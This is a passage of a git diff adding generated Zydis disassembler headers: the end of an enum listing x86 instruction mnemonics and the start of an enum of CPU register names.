ZYDIS_MNEMONIC_VMOVHLPS, + ZYDIS_MNEMONIC_VMOVHPD, + ZYDIS_MNEMONIC_VMOVHPS, + ZYDIS_MNEMONIC_VMOVLHPS, + ZYDIS_MNEMONIC_VMOVLPD, + ZYDIS_MNEMONIC_VMOVLPS, + ZYDIS_MNEMONIC_VMOVMSKPD, + ZYDIS_MNEMONIC_VMOVMSKPS, + ZYDIS_MNEMONIC_VMOVNRAPD, + ZYDIS_MNEMONIC_VMOVNRAPS, + ZYDIS_MNEMONIC_VMOVNRNGOAPD, + ZYDIS_MNEMONIC_VMOVNRNGOAPS, + ZYDIS_MNEMONIC_VMOVNTDQ, + ZYDIS_MNEMONIC_VMOVNTDQA, + ZYDIS_MNEMONIC_VMOVNTPD, + ZYDIS_MNEMONIC_VMOVNTPS, + ZYDIS_MNEMONIC_VMOVQ, + ZYDIS_MNEMONIC_VMOVSD, + ZYDIS_MNEMONIC_VMOVSHDUP, + ZYDIS_MNEMONIC_VMOVSLDUP, + ZYDIS_MNEMONIC_VMOVSS, + ZYDIS_MNEMONIC_VMOVUPD, + ZYDIS_MNEMONIC_VMOVUPS, + ZYDIS_MNEMONIC_VMPSADBW, + ZYDIS_MNEMONIC_VMPTRLD, + ZYDIS_MNEMONIC_VMPTRST, + ZYDIS_MNEMONIC_VMREAD, + ZYDIS_MNEMONIC_VMRESUME, + ZYDIS_MNEMONIC_VMRUN, + ZYDIS_MNEMONIC_VMSAVE, + ZYDIS_MNEMONIC_VMULPD, + ZYDIS_MNEMONIC_VMULPS, + ZYDIS_MNEMONIC_VMULSD, + ZYDIS_MNEMONIC_VMULSS, + ZYDIS_MNEMONIC_VMWRITE, + ZYDIS_MNEMONIC_VMXOFF, + ZYDIS_MNEMONIC_VMXON, + ZYDIS_MNEMONIC_VORPD, + ZYDIS_MNEMONIC_VORPS, + ZYDIS_MNEMONIC_VP2INTERSECTD, + ZYDIS_MNEMONIC_VP2INTERSECTQ, + ZYDIS_MNEMONIC_VP4DPWSSD, + ZYDIS_MNEMONIC_VP4DPWSSDS, + ZYDIS_MNEMONIC_VPABSB, + ZYDIS_MNEMONIC_VPABSD, + ZYDIS_MNEMONIC_VPABSQ, + ZYDIS_MNEMONIC_VPABSW, + ZYDIS_MNEMONIC_VPACKSSDW, + ZYDIS_MNEMONIC_VPACKSSWB, + ZYDIS_MNEMONIC_VPACKSTOREHD, + ZYDIS_MNEMONIC_VPACKSTOREHPD, + ZYDIS_MNEMONIC_VPACKSTOREHPS, + ZYDIS_MNEMONIC_VPACKSTOREHQ, + ZYDIS_MNEMONIC_VPACKSTORELD, + ZYDIS_MNEMONIC_VPACKSTORELPD, + ZYDIS_MNEMONIC_VPACKSTORELPS, + ZYDIS_MNEMONIC_VPACKSTORELQ, + ZYDIS_MNEMONIC_VPACKUSDW, + ZYDIS_MNEMONIC_VPACKUSWB, + ZYDIS_MNEMONIC_VPADCD, + ZYDIS_MNEMONIC_VPADDB, + ZYDIS_MNEMONIC_VPADDD, + ZYDIS_MNEMONIC_VPADDQ, + ZYDIS_MNEMONIC_VPADDSB, + ZYDIS_MNEMONIC_VPADDSETCD, + ZYDIS_MNEMONIC_VPADDSETSD, + ZYDIS_MNEMONIC_VPADDSW, + ZYDIS_MNEMONIC_VPADDUSB, + ZYDIS_MNEMONIC_VPADDUSW, + ZYDIS_MNEMONIC_VPADDW, + ZYDIS_MNEMONIC_VPALIGNR, + ZYDIS_MNEMONIC_VPAND, + ZYDIS_MNEMONIC_VPANDD, + ZYDIS_MNEMONIC_VPANDN, + ZYDIS_MNEMONIC_VPANDND, + ZYDIS_MNEMONIC_VPANDNQ, + ZYDIS_MNEMONIC_VPANDQ, + ZYDIS_MNEMONIC_VPAVGB, + ZYDIS_MNEMONIC_VPAVGW, + ZYDIS_MNEMONIC_VPBLENDD, + ZYDIS_MNEMONIC_VPBLENDMB, + ZYDIS_MNEMONIC_VPBLENDMD, + ZYDIS_MNEMONIC_VPBLENDMQ, + ZYDIS_MNEMONIC_VPBLENDMW, + ZYDIS_MNEMONIC_VPBLENDVB, + ZYDIS_MNEMONIC_VPBLENDW, + ZYDIS_MNEMONIC_VPBROADCASTB, + ZYDIS_MNEMONIC_VPBROADCASTD, + ZYDIS_MNEMONIC_VPBROADCASTMB2Q, + ZYDIS_MNEMONIC_VPBROADCASTMW2D, + ZYDIS_MNEMONIC_VPBROADCASTQ, + ZYDIS_MNEMONIC_VPBROADCASTW, + ZYDIS_MNEMONIC_VPCLMULQDQ, + ZYDIS_MNEMONIC_VPCMOV, + ZYDIS_MNEMONIC_VPCMPB, + ZYDIS_MNEMONIC_VPCMPD, + ZYDIS_MNEMONIC_VPCMPEQB, + ZYDIS_MNEMONIC_VPCMPEQD, + ZYDIS_MNEMONIC_VPCMPEQQ, + ZYDIS_MNEMONIC_VPCMPEQW, + ZYDIS_MNEMONIC_VPCMPESTRI, + ZYDIS_MNEMONIC_VPCMPESTRM, + ZYDIS_MNEMONIC_VPCMPGTB, + ZYDIS_MNEMONIC_VPCMPGTD, + ZYDIS_MNEMONIC_VPCMPGTQ, + ZYDIS_MNEMONIC_VPCMPGTW, + ZYDIS_MNEMONIC_VPCMPISTRI, + ZYDIS_MNEMONIC_VPCMPISTRM, + ZYDIS_MNEMONIC_VPCMPLTD, + ZYDIS_MNEMONIC_VPCMPQ, + ZYDIS_MNEMONIC_VPCMPUB, + ZYDIS_MNEMONIC_VPCMPUD, + ZYDIS_MNEMONIC_VPCMPUQ, + ZYDIS_MNEMONIC_VPCMPUW, + ZYDIS_MNEMONIC_VPCMPW, + ZYDIS_MNEMONIC_VPCOMB, + ZYDIS_MNEMONIC_VPCOMD, + ZYDIS_MNEMONIC_VPCOMPRESSB, + ZYDIS_MNEMONIC_VPCOMPRESSD, + ZYDIS_MNEMONIC_VPCOMPRESSQ, + ZYDIS_MNEMONIC_VPCOMPRESSW, + ZYDIS_MNEMONIC_VPCOMQ, + ZYDIS_MNEMONIC_VPCOMUB, + ZYDIS_MNEMONIC_VPCOMUD, + ZYDIS_MNEMONIC_VPCOMUQ, + ZYDIS_MNEMONIC_VPCOMUW, + ZYDIS_MNEMONIC_VPCOMW, + ZYDIS_MNEMONIC_VPCONFLICTD, + ZYDIS_MNEMONIC_VPCONFLICTQ, + ZYDIS_MNEMONIC_VPDPBUSD, + ZYDIS_MNEMONIC_VPDPBUSDS, + ZYDIS_MNEMONIC_VPDPWSSD, + ZYDIS_MNEMONIC_VPDPWSSDS, + ZYDIS_MNEMONIC_VPERM2F128, + ZYDIS_MNEMONIC_VPERM2I128, + ZYDIS_MNEMONIC_VPERMB, + ZYDIS_MNEMONIC_VPERMD, + ZYDIS_MNEMONIC_VPERMF32X4, + ZYDIS_MNEMONIC_VPERMI2B, + ZYDIS_MNEMONIC_VPERMI2D, + ZYDIS_MNEMONIC_VPERMI2PD, + ZYDIS_MNEMONIC_VPERMI2PS, + ZYDIS_MNEMONIC_VPERMI2Q, + ZYDIS_MNEMONIC_VPERMI2W, + ZYDIS_MNEMONIC_VPERMIL2PD, + ZYDIS_MNEMONIC_VPERMIL2PS, + ZYDIS_MNEMONIC_VPERMILPD, + ZYDIS_MNEMONIC_VPERMILPS, + ZYDIS_MNEMONIC_VPERMPD, + ZYDIS_MNEMONIC_VPERMPS, + ZYDIS_MNEMONIC_VPERMQ, + ZYDIS_MNEMONIC_VPERMT2B, + ZYDIS_MNEMONIC_VPERMT2D, + ZYDIS_MNEMONIC_VPERMT2PD, + ZYDIS_MNEMONIC_VPERMT2PS, + ZYDIS_MNEMONIC_VPERMT2Q, + ZYDIS_MNEMONIC_VPERMT2W, + ZYDIS_MNEMONIC_VPERMW, + ZYDIS_MNEMONIC_VPEXPANDB, + ZYDIS_MNEMONIC_VPEXPANDD, + ZYDIS_MNEMONIC_VPEXPANDQ, + ZYDIS_MNEMONIC_VPEXPANDW, + ZYDIS_MNEMONIC_VPEXTRB, + ZYDIS_MNEMONIC_VPEXTRD, + ZYDIS_MNEMONIC_VPEXTRQ, + ZYDIS_MNEMONIC_VPEXTRW, + ZYDIS_MNEMONIC_VPGATHERDD, + ZYDIS_MNEMONIC_VPGATHERDQ, + ZYDIS_MNEMONIC_VPGATHERQD, + ZYDIS_MNEMONIC_VPGATHERQQ, + ZYDIS_MNEMONIC_VPHADDBD, + ZYDIS_MNEMONIC_VPHADDBQ, + ZYDIS_MNEMONIC_VPHADDBW, + ZYDIS_MNEMONIC_VPHADDD, + ZYDIS_MNEMONIC_VPHADDDQ, + ZYDIS_MNEMONIC_VPHADDSW, + ZYDIS_MNEMONIC_VPHADDUBD, + ZYDIS_MNEMONIC_VPHADDUBQ, + ZYDIS_MNEMONIC_VPHADDUBW, + ZYDIS_MNEMONIC_VPHADDUDQ, + ZYDIS_MNEMONIC_VPHADDUWD, + ZYDIS_MNEMONIC_VPHADDUWQ, + ZYDIS_MNEMONIC_VPHADDW, + ZYDIS_MNEMONIC_VPHADDWD, + ZYDIS_MNEMONIC_VPHADDWQ, + ZYDIS_MNEMONIC_VPHMINPOSUW, + ZYDIS_MNEMONIC_VPHSUBBW, + ZYDIS_MNEMONIC_VPHSUBD, + ZYDIS_MNEMONIC_VPHSUBDQ, + ZYDIS_MNEMONIC_VPHSUBSW, + ZYDIS_MNEMONIC_VPHSUBW, + ZYDIS_MNEMONIC_VPHSUBWD, + ZYDIS_MNEMONIC_VPINSRB, + ZYDIS_MNEMONIC_VPINSRD, + ZYDIS_MNEMONIC_VPINSRQ, + ZYDIS_MNEMONIC_VPINSRW, + ZYDIS_MNEMONIC_VPLZCNTD, + ZYDIS_MNEMONIC_VPLZCNTQ, + ZYDIS_MNEMONIC_VPMACSDD, + ZYDIS_MNEMONIC_VPMACSDQH, + ZYDIS_MNEMONIC_VPMACSDQL, + ZYDIS_MNEMONIC_VPMACSSDD, + ZYDIS_MNEMONIC_VPMACSSDQH, + ZYDIS_MNEMONIC_VPMACSSDQL, + ZYDIS_MNEMONIC_VPMACSSWD, + ZYDIS_MNEMONIC_VPMACSSWW, + ZYDIS_MNEMONIC_VPMACSWD, + ZYDIS_MNEMONIC_VPMACSWW, + ZYDIS_MNEMONIC_VPMADCSSWD, + ZYDIS_MNEMONIC_VPMADCSWD, + ZYDIS_MNEMONIC_VPMADD231D, + ZYDIS_MNEMONIC_VPMADD233D, + ZYDIS_MNEMONIC_VPMADD52HUQ, + ZYDIS_MNEMONIC_VPMADD52LUQ, + ZYDIS_MNEMONIC_VPMADDUBSW, + ZYDIS_MNEMONIC_VPMADDWD, + ZYDIS_MNEMONIC_VPMASKMOVD, + ZYDIS_MNEMONIC_VPMASKMOVQ, + ZYDIS_MNEMONIC_VPMAXSB, + ZYDIS_MNEMONIC_VPMAXSD, + ZYDIS_MNEMONIC_VPMAXSQ, + ZYDIS_MNEMONIC_VPMAXSW, + ZYDIS_MNEMONIC_VPMAXUB, + ZYDIS_MNEMONIC_VPMAXUD, + ZYDIS_MNEMONIC_VPMAXUQ, + ZYDIS_MNEMONIC_VPMAXUW, + ZYDIS_MNEMONIC_VPMINSB, + ZYDIS_MNEMONIC_VPMINSD, + ZYDIS_MNEMONIC_VPMINSQ, + ZYDIS_MNEMONIC_VPMINSW, + ZYDIS_MNEMONIC_VPMINUB, + ZYDIS_MNEMONIC_VPMINUD, + ZYDIS_MNEMONIC_VPMINUQ, + ZYDIS_MNEMONIC_VPMINUW, + ZYDIS_MNEMONIC_VPMOVB2M, + ZYDIS_MNEMONIC_VPMOVD2M, + ZYDIS_MNEMONIC_VPMOVDB, + ZYDIS_MNEMONIC_VPMOVDW, + ZYDIS_MNEMONIC_VPMOVM2B, + ZYDIS_MNEMONIC_VPMOVM2D, + ZYDIS_MNEMONIC_VPMOVM2Q, + ZYDIS_MNEMONIC_VPMOVM2W, + ZYDIS_MNEMONIC_VPMOVMSKB, + ZYDIS_MNEMONIC_VPMOVQ2M, + ZYDIS_MNEMONIC_VPMOVQB, + ZYDIS_MNEMONIC_VPMOVQD, + ZYDIS_MNEMONIC_VPMOVQW, + ZYDIS_MNEMONIC_VPMOVSDB, + ZYDIS_MNEMONIC_VPMOVSDW, + ZYDIS_MNEMONIC_VPMOVSQB, + ZYDIS_MNEMONIC_VPMOVSQD, + ZYDIS_MNEMONIC_VPMOVSQW, + ZYDIS_MNEMONIC_VPMOVSWB, + ZYDIS_MNEMONIC_VPMOVSXBD, + ZYDIS_MNEMONIC_VPMOVSXBQ, + ZYDIS_MNEMONIC_VPMOVSXBW, + ZYDIS_MNEMONIC_VPMOVSXDQ, + ZYDIS_MNEMONIC_VPMOVSXWD, + ZYDIS_MNEMONIC_VPMOVSXWQ, + ZYDIS_MNEMONIC_VPMOVUSDB, + ZYDIS_MNEMONIC_VPMOVUSDW, + ZYDIS_MNEMONIC_VPMOVUSQB, + ZYDIS_MNEMONIC_VPMOVUSQD, + ZYDIS_MNEMONIC_VPMOVUSQW, + ZYDIS_MNEMONIC_VPMOVUSWB, + ZYDIS_MNEMONIC_VPMOVW2M, + ZYDIS_MNEMONIC_VPMOVWB, + ZYDIS_MNEMONIC_VPMOVZXBD, + ZYDIS_MNEMONIC_VPMOVZXBQ, + ZYDIS_MNEMONIC_VPMOVZXBW, + ZYDIS_MNEMONIC_VPMOVZXDQ, + ZYDIS_MNEMONIC_VPMOVZXWD, + ZYDIS_MNEMONIC_VPMOVZXWQ, + ZYDIS_MNEMONIC_VPMULDQ, + ZYDIS_MNEMONIC_VPMULHD, + ZYDIS_MNEMONIC_VPMULHRSW, + ZYDIS_MNEMONIC_VPMULHUD, + ZYDIS_MNEMONIC_VPMULHUW, + ZYDIS_MNEMONIC_VPMULHW, + ZYDIS_MNEMONIC_VPMULLD, + ZYDIS_MNEMONIC_VPMULLQ, + ZYDIS_MNEMONIC_VPMULLW, + ZYDIS_MNEMONIC_VPMULTISHIFTQB, + ZYDIS_MNEMONIC_VPMULUDQ, + ZYDIS_MNEMONIC_VPOPCNTB, + ZYDIS_MNEMONIC_VPOPCNTD, + ZYDIS_MNEMONIC_VPOPCNTQ, + ZYDIS_MNEMONIC_VPOPCNTW, + ZYDIS_MNEMONIC_VPOR, + ZYDIS_MNEMONIC_VPORD, + ZYDIS_MNEMONIC_VPORQ, + ZYDIS_MNEMONIC_VPPERM, + ZYDIS_MNEMONIC_VPREFETCH0, + ZYDIS_MNEMONIC_VPREFETCH1, + ZYDIS_MNEMONIC_VPREFETCH2, + ZYDIS_MNEMONIC_VPREFETCHE0, + ZYDIS_MNEMONIC_VPREFETCHE1, + ZYDIS_MNEMONIC_VPREFETCHE2, + ZYDIS_MNEMONIC_VPREFETCHENTA, + ZYDIS_MNEMONIC_VPREFETCHNTA, + ZYDIS_MNEMONIC_VPROLD, + ZYDIS_MNEMONIC_VPROLQ, + ZYDIS_MNEMONIC_VPROLVD, + ZYDIS_MNEMONIC_VPROLVQ, + ZYDIS_MNEMONIC_VPRORD, + ZYDIS_MNEMONIC_VPRORQ, + ZYDIS_MNEMONIC_VPRORVD, + ZYDIS_MNEMONIC_VPRORVQ, + ZYDIS_MNEMONIC_VPROTB, + ZYDIS_MNEMONIC_VPROTD, + ZYDIS_MNEMONIC_VPROTQ, + ZYDIS_MNEMONIC_VPROTW, + ZYDIS_MNEMONIC_VPSADBW, + ZYDIS_MNEMONIC_VPSBBD, + ZYDIS_MNEMONIC_VPSBBRD, + ZYDIS_MNEMONIC_VPSCATTERDD, + ZYDIS_MNEMONIC_VPSCATTERDQ, + ZYDIS_MNEMONIC_VPSCATTERQD, + ZYDIS_MNEMONIC_VPSCATTERQQ, + ZYDIS_MNEMONIC_VPSHAB, + ZYDIS_MNEMONIC_VPSHAD, + ZYDIS_MNEMONIC_VPSHAQ, + ZYDIS_MNEMONIC_VPSHAW, + ZYDIS_MNEMONIC_VPSHLB, + ZYDIS_MNEMONIC_VPSHLD, + ZYDIS_MNEMONIC_VPSHLDD, + ZYDIS_MNEMONIC_VPSHLDQ, + ZYDIS_MNEMONIC_VPSHLDVD, + ZYDIS_MNEMONIC_VPSHLDVQ, + ZYDIS_MNEMONIC_VPSHLDVW, + ZYDIS_MNEMONIC_VPSHLDW, + ZYDIS_MNEMONIC_VPSHLQ, + ZYDIS_MNEMONIC_VPSHLW, + ZYDIS_MNEMONIC_VPSHRDD, + ZYDIS_MNEMONIC_VPSHRDQ, + ZYDIS_MNEMONIC_VPSHRDVD, + ZYDIS_MNEMONIC_VPSHRDVQ, + ZYDIS_MNEMONIC_VPSHRDVW, + ZYDIS_MNEMONIC_VPSHRDW, + ZYDIS_MNEMONIC_VPSHUFB, + ZYDIS_MNEMONIC_VPSHUFBITQMB, + ZYDIS_MNEMONIC_VPSHUFD, + ZYDIS_MNEMONIC_VPSHUFHW, + ZYDIS_MNEMONIC_VPSHUFLW, + ZYDIS_MNEMONIC_VPSIGNB, + ZYDIS_MNEMONIC_VPSIGND, + ZYDIS_MNEMONIC_VPSIGNW, + ZYDIS_MNEMONIC_VPSLLD, + ZYDIS_MNEMONIC_VPSLLDQ, + ZYDIS_MNEMONIC_VPSLLQ, + ZYDIS_MNEMONIC_VPSLLVD, + ZYDIS_MNEMONIC_VPSLLVQ, + ZYDIS_MNEMONIC_VPSLLVW, + ZYDIS_MNEMONIC_VPSLLW, + ZYDIS_MNEMONIC_VPSRAD, + ZYDIS_MNEMONIC_VPSRAQ, + ZYDIS_MNEMONIC_VPSRAVD, + ZYDIS_MNEMONIC_VPSRAVQ, + ZYDIS_MNEMONIC_VPSRAVW, + ZYDIS_MNEMONIC_VPSRAW, + ZYDIS_MNEMONIC_VPSRLD, + ZYDIS_MNEMONIC_VPSRLDQ, + ZYDIS_MNEMONIC_VPSRLQ, + ZYDIS_MNEMONIC_VPSRLVD, + ZYDIS_MNEMONIC_VPSRLVQ, + ZYDIS_MNEMONIC_VPSRLVW, + ZYDIS_MNEMONIC_VPSRLW, + ZYDIS_MNEMONIC_VPSUBB, + ZYDIS_MNEMONIC_VPSUBD, + ZYDIS_MNEMONIC_VPSUBQ, + ZYDIS_MNEMONIC_VPSUBRD, + ZYDIS_MNEMONIC_VPSUBRSETBD, + ZYDIS_MNEMONIC_VPSUBSB, + ZYDIS_MNEMONIC_VPSUBSETBD, + ZYDIS_MNEMONIC_VPSUBSW, + ZYDIS_MNEMONIC_VPSUBUSB, + ZYDIS_MNEMONIC_VPSUBUSW, + ZYDIS_MNEMONIC_VPSUBW, + ZYDIS_MNEMONIC_VPTERNLOGD, + ZYDIS_MNEMONIC_VPTERNLOGQ, + ZYDIS_MNEMONIC_VPTEST, + ZYDIS_MNEMONIC_VPTESTMB, + ZYDIS_MNEMONIC_VPTESTMD, + ZYDIS_MNEMONIC_VPTESTMQ, + ZYDIS_MNEMONIC_VPTESTMW, + ZYDIS_MNEMONIC_VPTESTNMB, + ZYDIS_MNEMONIC_VPTESTNMD, + ZYDIS_MNEMONIC_VPTESTNMQ, + ZYDIS_MNEMONIC_VPTESTNMW, + ZYDIS_MNEMONIC_VPUNPCKHBW, + ZYDIS_MNEMONIC_VPUNPCKHDQ, + ZYDIS_MNEMONIC_VPUNPCKHQDQ, + ZYDIS_MNEMONIC_VPUNPCKHWD, + ZYDIS_MNEMONIC_VPUNPCKLBW, + ZYDIS_MNEMONIC_VPUNPCKLDQ, + ZYDIS_MNEMONIC_VPUNPCKLQDQ, + ZYDIS_MNEMONIC_VPUNPCKLWD, + ZYDIS_MNEMONIC_VPXOR, + ZYDIS_MNEMONIC_VPXORD, + ZYDIS_MNEMONIC_VPXORQ, + ZYDIS_MNEMONIC_VRANGEPD, + ZYDIS_MNEMONIC_VRANGEPS, + ZYDIS_MNEMONIC_VRANGESD, + ZYDIS_MNEMONIC_VRANGESS, + ZYDIS_MNEMONIC_VRCP14PD, + ZYDIS_MNEMONIC_VRCP14PS, + ZYDIS_MNEMONIC_VRCP14SD, + ZYDIS_MNEMONIC_VRCP14SS, + ZYDIS_MNEMONIC_VRCP23PS, + ZYDIS_MNEMONIC_VRCP28PD, + ZYDIS_MNEMONIC_VRCP28PS, + ZYDIS_MNEMONIC_VRCP28SD, + ZYDIS_MNEMONIC_VRCP28SS, + ZYDIS_MNEMONIC_VRCPPS, + ZYDIS_MNEMONIC_VRCPSS, + ZYDIS_MNEMONIC_VREDUCEPD, + ZYDIS_MNEMONIC_VREDUCEPS, + ZYDIS_MNEMONIC_VREDUCESD, + ZYDIS_MNEMONIC_VREDUCESS, + ZYDIS_MNEMONIC_VRNDFXPNTPD, + ZYDIS_MNEMONIC_VRNDFXPNTPS, + ZYDIS_MNEMONIC_VRNDSCALEPD, + ZYDIS_MNEMONIC_VRNDSCALEPS, + ZYDIS_MNEMONIC_VRNDSCALESD, + ZYDIS_MNEMONIC_VRNDSCALESS, + ZYDIS_MNEMONIC_VROUNDPD, + ZYDIS_MNEMONIC_VROUNDPS, + ZYDIS_MNEMONIC_VROUNDSD, + ZYDIS_MNEMONIC_VROUNDSS, + ZYDIS_MNEMONIC_VRSQRT14PD, + ZYDIS_MNEMONIC_VRSQRT14PS, + ZYDIS_MNEMONIC_VRSQRT14SD, + ZYDIS_MNEMONIC_VRSQRT14SS, + ZYDIS_MNEMONIC_VRSQRT23PS, + ZYDIS_MNEMONIC_VRSQRT28PD, + ZYDIS_MNEMONIC_VRSQRT28PS, + ZYDIS_MNEMONIC_VRSQRT28SD, + ZYDIS_MNEMONIC_VRSQRT28SS, + ZYDIS_MNEMONIC_VRSQRTPS, + ZYDIS_MNEMONIC_VRSQRTSS, + ZYDIS_MNEMONIC_VSCALEFPD, + ZYDIS_MNEMONIC_VSCALEFPS, + ZYDIS_MNEMONIC_VSCALEFSD, + ZYDIS_MNEMONIC_VSCALEFSS, + ZYDIS_MNEMONIC_VSCALEPS, + ZYDIS_MNEMONIC_VSCATTERDPD, + ZYDIS_MNEMONIC_VSCATTERDPS, + ZYDIS_MNEMONIC_VSCATTERPF0DPD, + ZYDIS_MNEMONIC_VSCATTERPF0DPS, + ZYDIS_MNEMONIC_VSCATTERPF0HINTDPD, + ZYDIS_MNEMONIC_VSCATTERPF0HINTDPS, + ZYDIS_MNEMONIC_VSCATTERPF0QPD, + ZYDIS_MNEMONIC_VSCATTERPF0QPS, + ZYDIS_MNEMONIC_VSCATTERPF1DPD, + ZYDIS_MNEMONIC_VSCATTERPF1DPS, + ZYDIS_MNEMONIC_VSCATTERPF1QPD, + ZYDIS_MNEMONIC_VSCATTERPF1QPS, + ZYDIS_MNEMONIC_VSCATTERQPD, + ZYDIS_MNEMONIC_VSCATTERQPS, + ZYDIS_MNEMONIC_VSHUFF32X4, + ZYDIS_MNEMONIC_VSHUFF64X2, + ZYDIS_MNEMONIC_VSHUFI32X4, + ZYDIS_MNEMONIC_VSHUFI64X2, + ZYDIS_MNEMONIC_VSHUFPD, + ZYDIS_MNEMONIC_VSHUFPS, + ZYDIS_MNEMONIC_VSQRTPD, + ZYDIS_MNEMONIC_VSQRTPS, + ZYDIS_MNEMONIC_VSQRTSD, + ZYDIS_MNEMONIC_VSQRTSS, + ZYDIS_MNEMONIC_VSTMXCSR, + ZYDIS_MNEMONIC_VSUBPD, + ZYDIS_MNEMONIC_VSUBPS, + ZYDIS_MNEMONIC_VSUBRPD, + ZYDIS_MNEMONIC_VSUBRPS, + ZYDIS_MNEMONIC_VSUBSD, + ZYDIS_MNEMONIC_VSUBSS, + ZYDIS_MNEMONIC_VTESTPD, + ZYDIS_MNEMONIC_VTESTPS, + ZYDIS_MNEMONIC_VUCOMISD, + ZYDIS_MNEMONIC_VUCOMISS, + ZYDIS_MNEMONIC_VUNPCKHPD, + ZYDIS_MNEMONIC_VUNPCKHPS, + ZYDIS_MNEMONIC_VUNPCKLPD, + ZYDIS_MNEMONIC_VUNPCKLPS, + ZYDIS_MNEMONIC_VXORPD, + ZYDIS_MNEMONIC_VXORPS, + ZYDIS_MNEMONIC_VZEROALL, + ZYDIS_MNEMONIC_VZEROUPPER, + ZYDIS_MNEMONIC_WBINVD, + ZYDIS_MNEMONIC_WRFSBASE, + ZYDIS_MNEMONIC_WRGSBASE, + ZYDIS_MNEMONIC_WRMSR, + ZYDIS_MNEMONIC_WRPKRU, + ZYDIS_MNEMONIC_WRSSD, + ZYDIS_MNEMONIC_WRSSQ, + ZYDIS_MNEMONIC_WRUSSD, + ZYDIS_MNEMONIC_WRUSSQ, + ZYDIS_MNEMONIC_XABORT, + ZYDIS_MNEMONIC_XADD, + ZYDIS_MNEMONIC_XBEGIN, + ZYDIS_MNEMONIC_XCHG, + ZYDIS_MNEMONIC_XCRYPT_CBC, + ZYDIS_MNEMONIC_XCRYPT_CFB, + ZYDIS_MNEMONIC_XCRYPT_CTR, + ZYDIS_MNEMONIC_XCRYPT_ECB, + ZYDIS_MNEMONIC_XCRYPT_OFB, + ZYDIS_MNEMONIC_XEND, + ZYDIS_MNEMONIC_XGETBV, + ZYDIS_MNEMONIC_XLAT, + ZYDIS_MNEMONIC_XOR, + ZYDIS_MNEMONIC_XORPD, + ZYDIS_MNEMONIC_XORPS, + ZYDIS_MNEMONIC_XRESLDTRK, + ZYDIS_MNEMONIC_XRSTOR, + ZYDIS_MNEMONIC_XRSTOR64, + ZYDIS_MNEMONIC_XRSTORS, + ZYDIS_MNEMONIC_XRSTORS64, + ZYDIS_MNEMONIC_XSAVE, + ZYDIS_MNEMONIC_XSAVE64, + ZYDIS_MNEMONIC_XSAVEC, + ZYDIS_MNEMONIC_XSAVEC64, + ZYDIS_MNEMONIC_XSAVEOPT, + ZYDIS_MNEMONIC_XSAVEOPT64, + ZYDIS_MNEMONIC_XSAVES, + ZYDIS_MNEMONIC_XSAVES64, + ZYDIS_MNEMONIC_XSETBV, + ZYDIS_MNEMONIC_XSHA1, + ZYDIS_MNEMONIC_XSHA256, + ZYDIS_MNEMONIC_XSTORE, + ZYDIS_MNEMONIC_XSUSLDTRK, + ZYDIS_MNEMONIC_XTEST, + + /** + * Maximum value of this enum. + */ + ZYDIS_MNEMONIC_MAX_VALUE = ZYDIS_MNEMONIC_XTEST, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MNEMONIC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MNEMONIC_MAX_VALUE) +} ZydisMnemonic; diff --git a/Theodosius/Zydis/Generated/EnumRegister.h b/Theodosius/Zydis/Generated/EnumRegister.h new file mode 100644 index 0000000..3135fe0 --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumRegister.h @@ -0,0 +1,301 @@ +/** + * Defines the `ZydisRegister` enum. + */ +typedef enum ZydisRegister_ +{ + ZYDIS_REGISTER_NONE, + + // General purpose registers 8-bit + ZYDIS_REGISTER_AL, + ZYDIS_REGISTER_CL, + ZYDIS_REGISTER_DL, + ZYDIS_REGISTER_BL, + ZYDIS_REGISTER_AH, + ZYDIS_REGISTER_CH, + ZYDIS_REGISTER_DH, + ZYDIS_REGISTER_BH, + ZYDIS_REGISTER_SPL, + ZYDIS_REGISTER_BPL, + ZYDIS_REGISTER_SIL, + ZYDIS_REGISTER_DIL, + ZYDIS_REGISTER_R8B, + ZYDIS_REGISTER_R9B, + ZYDIS_REGISTER_R10B, + ZYDIS_REGISTER_R11B, + ZYDIS_REGISTER_R12B, + ZYDIS_REGISTER_R13B, + ZYDIS_REGISTER_R14B, + ZYDIS_REGISTER_R15B, + // General purpose registers 16-bit + ZYDIS_REGISTER_AX, + ZYDIS_REGISTER_CX, + ZYDIS_REGISTER_DX, + ZYDIS_REGISTER_BX, + ZYDIS_REGISTER_SP, + ZYDIS_REGISTER_BP, + ZYDIS_REGISTER_SI, + ZYDIS_REGISTER_DI, + ZYDIS_REGISTER_R8W, + ZYDIS_REGISTER_R9W, + ZYDIS_REGISTER_R10W, + ZYDIS_REGISTER_R11W, + ZYDIS_REGISTER_R12W, + ZYDIS_REGISTER_R13W, + ZYDIS_REGISTER_R14W, + ZYDIS_REGISTER_R15W, + // General purpose registers 32-bit + ZYDIS_REGISTER_EAX, + ZYDIS_REGISTER_ECX, + ZYDIS_REGISTER_EDX, + ZYDIS_REGISTER_EBX, + ZYDIS_REGISTER_ESP, + ZYDIS_REGISTER_EBP, + ZYDIS_REGISTER_ESI, + ZYDIS_REGISTER_EDI, + ZYDIS_REGISTER_R8D, + ZYDIS_REGISTER_R9D, + ZYDIS_REGISTER_R10D, + ZYDIS_REGISTER_R11D, + ZYDIS_REGISTER_R12D, + ZYDIS_REGISTER_R13D, + ZYDIS_REGISTER_R14D, + ZYDIS_REGISTER_R15D, + // General purpose registers 64-bit + ZYDIS_REGISTER_RAX, + ZYDIS_REGISTER_RCX, + ZYDIS_REGISTER_RDX, + ZYDIS_REGISTER_RBX, + ZYDIS_REGISTER_RSP, + ZYDIS_REGISTER_RBP, + ZYDIS_REGISTER_RSI, + ZYDIS_REGISTER_RDI, + ZYDIS_REGISTER_R8, + ZYDIS_REGISTER_R9, + ZYDIS_REGISTER_R10, + ZYDIS_REGISTER_R11, + ZYDIS_REGISTER_R12, + ZYDIS_REGISTER_R13, + ZYDIS_REGISTER_R14, + ZYDIS_REGISTER_R15, + // Floating point legacy registers + ZYDIS_REGISTER_ST0, + ZYDIS_REGISTER_ST1, + ZYDIS_REGISTER_ST2, + ZYDIS_REGISTER_ST3, + ZYDIS_REGISTER_ST4, + ZYDIS_REGISTER_ST5, + ZYDIS_REGISTER_ST6, + ZYDIS_REGISTER_ST7, + ZYDIS_REGISTER_X87CONTROL, + ZYDIS_REGISTER_X87STATUS, + ZYDIS_REGISTER_X87TAG, + // Floating point multimedia registers + ZYDIS_REGISTER_MM0, + ZYDIS_REGISTER_MM1, + ZYDIS_REGISTER_MM2, + ZYDIS_REGISTER_MM3, + ZYDIS_REGISTER_MM4, + 